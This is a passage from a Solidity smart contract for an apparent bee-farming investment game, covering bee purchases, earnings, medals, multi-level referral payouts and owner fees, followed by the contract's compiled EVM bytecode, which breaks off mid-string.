player.unlockedBee, "This bee type not unlocked yet"); } require(player.bees[bee].add(count) <= MAX_BEES_PER_TARIFF); player.bees[bee] = player.bees[bee].add(count); totalBeesBought = totalBeesBought.add(count); uint256 honeySpent = _payWithWaxAndHoney(msg.sender, BEES_PRICES[bee].mul(count)); _distributeFees(msg.sender, honeySpent, 0, referrerOf(msg.sender, address(0))); emit BeesBought(msg.sender, bee, count); } function updateQualityLevel() public payRepBonusIfNeeded { Player storage player = players[msg.sender]; collect(); require(player.qualityLevel < QUALITIES_COUNT - 1); _payWithHoneyOnly(msg.sender, QUALITY_PRICE[player.qualityLevel + 1]); player.qualityLevel++; emit QualityUpdated(msg.sender, player.qualityLevel); } function earned(address user) public view returns(uint256) { Player storage player = players[user]; if (player.registeredDate == 0) { return 0; } uint256 total = 0; for (uint i = 1; i < BEES_COUNT; i++) { total = total.add( player.bees[i].mul(BEES_PRICES[i]).mul(BEES_MONTHLY_PERCENTS[i]).div(100) ); } return total .mul(block.timestamp.sub(player.lastTimeCollected)) .div(30 days) .add(player.airdropCollected || player.registeredDate == now ? 0 : FIRST_BEE_AIRDROP_AMOUNT); } function collectMedals(address user) public payRepBonusIfNeeded { Player storage player = players[user]; collect(); for (uint i = player.medals; i < MEDALS_COUNT; i++) { if (player.points >= MEDALS_POINTS[i]) { player.balanceWax = player.balanceWax.add(MEDALS_REWARDS[i]); player.medals = i + 1; emit MedalAwarded(user, i + 1); } } } function retrieveBonus() public override(UserBonus) { totalWithdrawed = totalWithdrawed.add(userBonusEarned(msg.sender)); super.retrieveBonus(); } function claimOwnership() public override(Claimable) { super.claimOwnership(); _register(owner(), address(0)); } function _distributeFees(address user, uint256 wax, uint256 deposited, address refAddress) internal { address(uint160(owner())).transfer(wax * ADMIN_PERCENT / 100 / COINS_PER_ETH); if (refAddress != address(0)) { Player storage referrer = players[refAddress]; referrer.referralsTotalDeposited = referrer.referralsTotalDeposited.add(deposited); _addToBonusIfNeeded(refAddress); address to = refAddress; for (uint i = 0; to != address(0) && i < REFERRAL_PERCENT_PER_LEVEL.length; i++) { uint256 reward = wax.mul(REFERRAL_PERCENT_PER_LEVEL[i]).div(100); players[to].balanceHoney = players[to].balanceHoney.add(reward); players[to].points = players[to].points.add(wax.mul(REFERRAL_POINT_PERCENT[i]).div(100)); emit ReferrerPaid(user, to, i + 1, reward); to = players[to].referrer; } } } function _register(address user, address refAddress) internal { Player storage player = players[user]; player.registeredDate = block.timestamp; player.bees[0] = MAX_BEES_PER_TARIFF; player.unlockedBee = 1; player.lastTimeCollected = block.timestamp; totalBeesBought = totalBeesBought.add(MAX_BEES_PER_TARIFF); totalPlayers++; if (refAddress != address(0)) { player.referrer = refAddress; players[refAddress].referrals.push(user); if (players[refAddress].referrer != address(0)) { players[players[refAddress].referrer].subreferralsCount++; } _addToBonusIfNeeded(refAddress); } emit Registered(user, refAddress); } function _payWithHoneyOnly(address user, uint256 amount) internal { Player storage player = players[user]; player.balanceHoney = player.balanceHoney.sub(amount); } function _payWithWaxOnly(address user, uint256 amount) internal { Player storage player = players[user]; player.balanceWax = player.balanceWax.sub(amount); } function _payWithWaxAndHoney(address user, uint256 amount) internal returns(uint256) { Player storage player = players[user]; uint256 wax = Math.min(amount, player.balanceWax); uint256 honey = amount.sub(wax).mul(100 - HONEY_DISCOUNT_PERCENT).div(100); player.balanceWax = player.balanceWax.sub(wax); _payWithHoneyOnly(user, honey); return honey; } function _addToBonusIfNeeded(address user) internal { if (user != address(0) && !bonus.userRegistered[user]) { Player storage player = players[user]; if (player.totalDeposited >= 5 ether && player.referrals.length >= 10 && player.referralsTotalDeposited >= 50 ether) { _addUserToBonus(user); } } } }
0x60806040526004361061031d5760003560e01c80639ca423b3116101ab578063cfbeb83e116100f7578063e5d6c33a11610095578063f340fa011161006f578063f340fa011461101c578063f60cdcf614611060578063f7620b161461108b578063ff50abdc146110da57610391565b8063e5d6c33a14610f73578063eeb851a214610fa0578063f2fde38b14610fcb57610391565b8063dec107d1116100d1578063dec107d114610e18578063e2eb41ff14610e43578063e30c397814610f1b578063e522538114610f5c57610391565b8063cfbeb83e14610d5d578063d9c282f014610d88578063dacfbd7914610ded57610391565b8063b5affb0511610164578063be6c588a1161013e578063be6c588a14610c26578063bfaed58a14610c51578063bfd3dc9314610ca2578063c7d88b0514610cf157610391565b8063b5affb0514610b5d578063b74126cc14610bac578063b913ee4f14610bd757610391565b80639ca423b3146109ae5780639e95452b14610a54578063a155b1d414610a6b578063a35bc9af14610a96578063a9059cbb14610ac1578063b2da61b414610b3257610391565b806347ee29921161026a578063715018a61161022357806375b4d78c116101fd57806375b4d78c146108a25780637e990772146108db578063894af783146109065780638da5cb5b1461096d57610391565b8063715018a614610835578063723928901461084c57806373ad468a1461087757610391565b806347ee2992146107345780634ab0cac91461075f5780634e71e0c8146107ae5780635b373092146107c55780635ec1ddfc146107dc5780636198e3391461080757610391565b806321f45653116102d75780633128aa86116102b15780633128aa861461064157806336fe15e6146106a6578063435f220c146106d157806346a83785146106fc57610391565b806321f456531461052a5780632ab291c1146105b75780632e1a7d4d1461060657610391565b80628cc262146103965780630486916d146103fb5780630542061e1461042657806310f230dc1461043d578063127fcac71461048c57806321d378f5146104db57610391565b36610391576000341415610384576000604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154111561037f5761037e611105565b5b61038f565b61038e60006112db565b5b005b600080fd5b3480156103a257600080fd5b506103e5600480360360208110156103b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611546565b6040518082815260200191505060405180910390f35b34801561040757600080fd5b506104106116c7565b6040518082815260200191505060405180910390f35b34801561043257600080fd5b5061043b6116cc565b005b34801561044957600080fd5b506104766004803603602081101561046057600080fd5b81019080803590602001909291905050506117b1565b6040518082815260200191505060405180910390f35b34801561049857600080fd5b506104c5600480360360208110156104af57600080fd5b81019080803590602001909291905050506117c9565b6040518082815260200191505060405180910390f35b3480156104e757600080fd5b50610514600480360360208110156104fe57600080fd5b81019080803590602001909291905050506117e1565b6040518082815260200191505060405180910390f35b34801561053657600080fd5b506105796004803603602081101561054d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117f9565b6040518082600860200280838360005b838110156105a4578082015181840152602081019050610589565b5050505090500191505060405180910390f35b3480156105c357600080fd5b506105f0600480360360208110156105da57600080fd5b8101908080359060200190929190505050611886565b6040518082815260200191505060405180910390f35b34801561061257600080fd5b5061063f6004803603602081101561062957600080fd5b810190808035906020019092919050505061189e565b005b34801561064d57600080fd5b506106906004803603602081101561066457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a6c565b6040518082815260200191505060405180910390f35b3480156106b257600080fd5b506106bb611b2b565b6040518082815260200191505060405180910390f35b3480156106dd57600080fd5b506106e6611b30565b6040518082815260200191505060405180910390f35b6107326004803603604081101561071257600080fd5b810190808035906020019092919080359060200190929190505050611b35565b005b34801561074057600080fd5b50610749611eb8565b6040518082815260200191505060405180910390f35b34801561076b57600080fd5b506107986004803603602081101561078257600080fd5b8101908080359060200190929190505050611ebf565b6040518082815260200191505060405180910390f35b3480156107ba57600080fd5b506107c3611ed7565b005b3480156107d157600080fd5b506107da611ef3565b005b3480156107e857600080fd5b506107f1611f20565b6040518082815260200191505060405180910390f35b6108336004803603602081101561081d57600080fd5b8101908080359060200190929190505050611f27565b005b34801561084157600080fd5b5061084a6121b5565b005b34801561085857600080fd5b50610861612282565b6040518082815260200191505060405180910390f35b34801561088357600080fd5b5061088c61228a565b6040518082815260200191505060405180910390f35b3480156108ae57600080fd5b506108b7612290565b60405180848152602001838152602001828152602001935050505060405180910390f35b3480156108e757600080fd5b506108f06122a8565b6040518082815260200191505060405180910390f35b34801561091257600080fd5b506109556004803603602081101561092957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122ad565b60405180821515815260200191505060405180910390f35b34801561097957600080fd5b50610982612306565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ba57600080fd5b506109fd600480360360208110156109d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061232f565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610a40578082015181840152602081019050610a25565b505050509050019250505060405180910390f35b348015610a6057600080fd5b50610a696123ff565b005b348015610a7757600080fd5b50610a80612504565b6040518082815260200191505060405180910390f35b348015610aa257600080fd5b50610aab61250c565b6040518082815260200191505060405180910390f35b348015610acd57600080fd5b50610b1a60048036036040811015610ae457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612511565b60405180821515815260200191505060405180910390f35b348015610b3e57600080fd5b50610b4761260a565b6040518082815260200191505060405180910390f35b348015610b6957600080fd5b50610b9660048036036020811015610b8057600080fd5b810190808035906020019092919050505061260f565b6040518082815260200191505060405180910390f35b348015610bb857600080fd5b50610bc1612627565b6040518082815260200191505060405180910390f35b348015610be357600080fd5b50610c1060048036036020811015610bfa57600080fd5b810190808035906020019092919050505061262d565b6040518082815260200191505060405180910390f35b348015610c3257600080fd5b50610c3b61264e565b6040518082815260200191505060405180910390f35b348015610c5d57600080fd5b50610ca060048036036020811015610c7457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612653565b005b348015610cae57600080fd5b50610cdb60048036036020811015610cc557600080fd5b8101908080359060200190929190505050612765565b6040518082815260200191505060405180910390f35b348015610cfd57600080fd5b50610d4060048036036020811015610d1457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612786565b604051808381526020018281526020019250505060405180910390f35b348015610d6957600080fd5b50610d726128ec565b6040518082815260200191505060405180910390f35b348015610d9457600080fd5b50610dd760048036036020811015610dab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128f9565b6040518082815260200191505060405180910390f35b348015610df957600080fd5b50610e02612945565b6040518082815260200191505060405180910390f35b348015610e2457600080fd5b50610e2d61294a565b6040518082815260200191505060405180910390f35b348015610e4f57600080fd5b50610e9260048036036020811015610e6657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612951565b604051808f81526020018e151581526020018d73ffffffffffffffffffffffffffffffffffffffff1681526020018c81526020018b81526020018a81526020018981526020018881526020018781526020018681526020018581526020018481526020018381526020018281526020019e50505050505050505050505050505060405180910390f35b348015610f2757600080fd5b50610f306129ea565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f6857600080fd5b50610f71611105565b005b348015610f7f57600080fd5b50610f88612a10565b60405180821515815260200191505060405180910390f35b348015610fac57600080fd5b50610fb5612a46565b6040518082815260200191505060405180910390f35b348015610fd757600080fd5b5061101a60048036036020811015610fee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a4c565b005b61105e6004803603602081101561103257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112db565b005b34801561106c57600080fd5b50611075612b58565b6040518082815260200191505060405180910390f35b34801561109757600080fd5b506110c4600480360360208110156110ae57600080fd5b8101908080359060200190929190505050612b5e565b6040518082815260200191505060405180910390f35b3480156110e657600080fd5b506110ef612b76565b6040518082815260200191505060405180910390f35b61110d6123ff565b6000604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060008160000154116111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4e6f74207265676973746572656420796574000000000000000000000000000081525060200191505060405180910390fd5b60006111d533611a6c565b11156111e4576111e3611ef3565b5b6000806111f033612786565b915091503373ffffffffffffffffffffffffffffffffffffffff167f175de791cae106394f6c9daa00b9b55b3c2babff16f57c56b89a8c66601ec59e611243856002015485612cd490919063ffffffff16565b61125a866003015485612cd490919063ffffffff16565b604051808381526020018281526020019250505060405180910390a28260010160009054906101000a900460ff161580156112985750428360000154105b156112bb5760018360010160006101000a81548160ff0219169083151502179055505b818360020181905550808360030181905550428360070181905550505050565b6112e36123ff565b6000604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060006113323384612d1e565b90506000826000015411151560003414151514156113b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f53656e64203020666f7220726567697374726174696f6e00000000000000000081525060200191505060405180910390fd5b6000826000015414156113d0576113cf3382612e16565b5b6113d8611105565b60006113f06203d09034612c0490919063ffffffff16565b9050611409818460030154612b7c90919063ffffffff16565b8360030181905550611428348460110154612b7c90919063ffffffff16565b836011018190555061144534604354612b7c90919063ffffffff16565b604381905550611462818460040154612b7c90919063ffffffff16565b83600401819055503373ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4346040518082815260200191505060405180910390a26114c433823485613188565b6114cd33613575565b6000604660006114db612306565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206012015490506115396041546115348347612b7c90919063ffffffff16565b613698565b6041819055505050505050565b600080604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015414156115a15760009150506116c2565b600080600190505b600881101561163757611628611619606461160b601785600881106115ca57fe5b01546115fd600787600881106115dc57fe5b01548960090188600881106115ed57fe5b0154612c0490919063ffffffff16565b612c0490919063ffffffff16565b612c8a90919063ffffffff16565b83612b7c90919063ffffffff16565b915080806001019150506115a9565b506116bd8260010160009054906101000a900460ff168061165b5750428360000154145b61166e57681b1ae4d6e2ef500000611671565b60005b6116af62278d006116a1611692876007015442612cd490919063ffffffff16565b86612c0490919063ffffffff16565b612c8a90919063ffffffff16565b612b7c90919063ffffffff16565b925050505b919050565b600881565b6116d46123ff565b6000604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905061171f611105565b600160060381600601541061173357600080fd5b61175233603960018460060154016006811061174b57fe5b01546136b2565b806006016000815480929190600101919050555080600601543373ffffffffffffffffffffffffffffffffffffffff167fab7da30456d497e9ccbd16778660ea62630c90e6eacce1f230887620f0449c8960405160405180910390a350565b600781600881106117be57fe5b016000915090505481565b600f81600881106117d657fe5b016000915090505481565b603381600681106117ee57fe5b016000915090505481565b611801613db7565b604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090160088060200260405190810160405280929190826008801561187a576020028201915b815481526020019060010190808311611866575b50505050509050919050565b601f81600a811061189357fe5b016000915090505481565b6000604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506118e9611105565b60006119016203d09084612c8a90919063ffffffff16565b905060008111611979576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f547279696e6720746f20776974686472617720746f6f20736d616c6c0000000081525060200191505060405180910390fd5b611990838360020154612cd490919063ffffffff16565b82600201819055506119af818360120154612b7c90919063ffffffff16565b82601201819055506119cc81604454612b7c90919063ffffffff16565b6044819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a18573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f6cca423c6ffc06e62a0acc433965e074b11c28479b0449250ce3ff65ac9e39fe826040518082815260200191505060405180910390a2505050565b6000600260030160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ac9576000611b24565b611b23600260040160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600260000154612cd490919063ffffffff16565b5b9050919050565b600681565b600a81565b611b3d6123ff565b6000604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000341115611b9457611b9360006112db565b5b611b9c611105565b600083118015611bac5750600883105b611c1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f446f6e27742074727920746f206275792062656573206f66207479706520300081525060200191505060405180910390fd5b6001600803831415611d1a57611c32612a10565b611ca4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f5375706572426565206973206e6f7420756e6c6f636b6564207965740000000081525060200191505060405180910390fd5b62093a80611cbf826000015442612cd490919063ffffffff16565b10611d15576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180613ddb602d913960400191505060405180910390fd5b611d95565b8060080154831115611d94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f54686973206265652074797065206e6f7420756e6c6f636b656420796574000081525060200191505060405180910390fd5b5b6020611dba83836009018660088110611daa57fe5b0154612b7c90919063ffffffff16565b1115611dc557600080fd5b611de882826009018560088110611dd857fe5b0154612b7c90919063ffffffff16565b816009018460088110611df757fe5b0181905550611e1182604554612b7c90919063ffffffff16565b6045819055506000611e4333611e3e8560078860088110611e2e57fe5b0154612c0490919063ffffffff16565b613719565b9050611e5c33826000611e57336000612d1e565b613188565b3373ffffffffffffffffffffffffffffffffffffffff167f3b8efbf8f2c0dcb58c5082344b6573cf15279f2be6c0415141060f747fd8bab18585604051808381526020018281526020019250505060405180910390a250505050565b6203d09081565b602981600a8110611ecc57fe5b016000915090505481565b611edf6137e4565b611ef1611eea612306565b6000612e16565b565b611f10611eff33611a6c565b604454612b7c90919063ffffffff16565b604481905550611f1e613890565b565b62093a8081565b611f2f6123ff565b6000604660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000341115611f8657611f8560006112db565b5b611f8e611105565b60016008038210612007576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f206d6f7265206c6576656c7320746f20756e6c6f636b000000000000000081525060200191505060405180910390fd5b602081600901600184036008811061201b57fe5b015414612090576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f50726576206c6576656c206d7573742062652066696c6c65640000000000000081525060200191505060405180910390fd5b6001816008015401821461210c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f547279696e6720746f20756e6c6f636b2077726f6e672062656520747970650081525060200191505060405180910390fd5b600260080382141561212b5760098160050154101561212a57600080fd5b5b61214333600f846008811061213c57fe5b0154613719565b50818160080181905550600181600901836008811061215e57fe5b01819055503373ffffffffffffffffffffffffffffffffffffffff167f9314809af08e4ddf0214b2248c8ea28466a17bcf8283d48cebe52b0f1386af0f836040518082815260200191505060405180910390a25050565b6121bd613a55565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461227d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600080fd5b600160080381565b60415481565b60028060000154908060010154908060020154905083565b600a81565b6000600260030160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206015018054806020026020016040519081016040528092919081815260200182805480156123f357602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116123a9575b50505050509050919050565b5b6000600280015411801561242e57504261242b62093a80600260010154612b7c90919063ffffffff16565b11155b1561250257600061245c606461244e600147612c0490919063ffffffff16565b612c8a90919063ffffffff16565b905061248c612478600280015483612c8a90919063ffffffff16565b600260000154612b7c90919063ffffffff16565b6002600001819055506124b062093a80600260010154612b7c90919063ffffffff16565b6002600101819055507f51e794b4ff7ffc1b303e757fa6fc3d0b3e162556cc78d07914238fe3c3f96d8f600280015482604051808381526020018281526020019250505060405180910390a150612400565b565b600260080381565b600a81565b600061251b612306565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461255257600080fd5b61255a611105565b6125643383613719565b506125ba82604660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154612b7c90919063ffffffff16565b604660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055506001905092915050565b602081565b6039816006811061261c57fe5b016000915090505481565b60445481565b6040818154811061263a57fe5b906000526020600020016000915090505481565b600581565b61265b6123ff565b6000604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506126a6611105565b6000816005015490505b600a81101561276057601f81600a81106126c657fe5b0154826004015410612753576126f7602982600a81106126e257fe5b01548360030154612b7c90919063ffffffff16565b8260030181905550600181018260050181905550600181018373ffffffffffffffffffffffffffffffffffffffff167f93135b83255eeccdefec3e312591c2743d0dc8bfac656f9773d7a132af4bb81f60405160405180910390a35b80806001019150506126b0565b505050565b603f818154811061277257fe5b906000526020600020016000915090505481565b6000806000604660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015414156127e65760008092509250506128e7565b806002015492508060030154915060006127ff85611546565b90508160010160009054906101000a900460ff161580156128235750428260000154105b1561286557612844681b1ae4d6e2ef50000082612cd490919063ffffffff16565b9050612862681b1ae4d6e2ef50000084612b7c90919063ffffffff16565b92505b600061289f6064612891603386600601546006811061288057fe5b015485612c0490919063ffffffff16565b612c8a90919063ffffffff16565b905060006128b68284612cd490919063ffffffff16565b90506128cb8287612b7c90919063ffffffff16565b95506128e08186612b7c90919063ffffffff16565b9450505050505b915091565b681b1ae4d6e2ef50000081565b6000600260040160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600181565b62093a8081565b60466020528060005260406000206000915090508060000154908060010160009054906101000a900460ff16908060010160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806002015490806003015490806004015490806005015490806006015490806007015490806008015490806011015490806012015490806013015490806014015490508e565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000612a3e6064612a306005606403604154612c0490919063ffffffff16565b612c8a90919063ffffffff16565b471115905090565b60455481565b612a54613a55565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60425481565b60178160088110612b6b57fe5b016000915090505481565b60435481565b600080828401905083811015612bfa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415612c175760009050612c84565b6000828402905082848281612c2857fe5b0414612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613e296021913960400191505060405180910390fd5b809150505b92915050565b6000612ccc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613a5d565b905092915050565b6000612d1683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613b23565b905092915050565b600080604660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154148015612d9d57508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612daa57819050612e10565b604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b92915050565b6000604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050428160000181905550602081600901600060088110612e7457fe5b018190555060018160080181905550428160070181905550612ea26020604554612b7c90919063ffffffff16565b604581905550604260008154809291906001019190505550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461312957818160010160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601501839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff16604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461311f5760466000604660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020601401600081548092919060010191905055505b61312882613575565b5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f0a31ee9d46a828884b81003c8498156ea6aa15b9b54bdd0ef0b533d9eba57e5560405160405180910390a3505050565b613190612306565b73ffffffffffffffffffffffffffffffffffffffff166108fc6203d0906064600a8702816131ba57fe5b04816131c257fe5b049081150290604051600060405180830381858888f193505050501580156131ee573d6000803e3d6000fd5b50600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461356f576000604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905061327d838260130154612b7c90919063ffffffff16565b816013018190555061328e82613575565b600082905060005b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156132d75750603f8054905081105b1561356b57600061331b606461330d603f85815481106132f357fe5b90600052602060002001548a612c0490919063ffffffff16565b612c8a90919063ffffffff16565b905061337281604660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154612b7c90919063ffffffff16565b604660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055506134496133f860646133ea604086815481106133d057fe5b90600052602060002001548b612c0490919063ffffffff16565b612c8a90919063ffffffff16565b604660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154612b7c90919063ffffffff16565b604660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040181905550600182018373ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167f8fa68a6a8e2fc9ff758a6e64afba8bc2f66fb082999a2c5225c8c49633faded4846040518082815260200191505060405180910390a4604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250508080600101915050613296565b5050505b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156135ff5750600260030160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613695576000604660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050674563918244f4000081601101541015801561366b5750600a816015018054905010155b801561368457506802b5e3af16b1880000816013015410155b156136935761369282613be3565b5b505b50565b6000818310156136a857816136aa565b825b905092915050565b6000604660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905061370c828260020154612cd490919063ffffffff16565b8160020181905550505050565b600080604660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600061376d848360030154613d9e565b905060006137ad606461379f600a606403613791868a612cd490919063ffffffff16565b612c0490919063ffffffff16565b612c8a90919063ffffffff16565b90506137c6828460030154612cd490919063ffffffff16565b83600301819055506137d886826136b2565b80935050505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461383e57600080fd5b613869600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612a4c565b600160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055565b6138986123ff565b600260030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661395a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f55736572206e6f74207265676973746572656420666f7220626f6e757300000081525060200191505060405180910390fd5b600061396e4761396933611a6c565b613d9e565b90506139c5816002600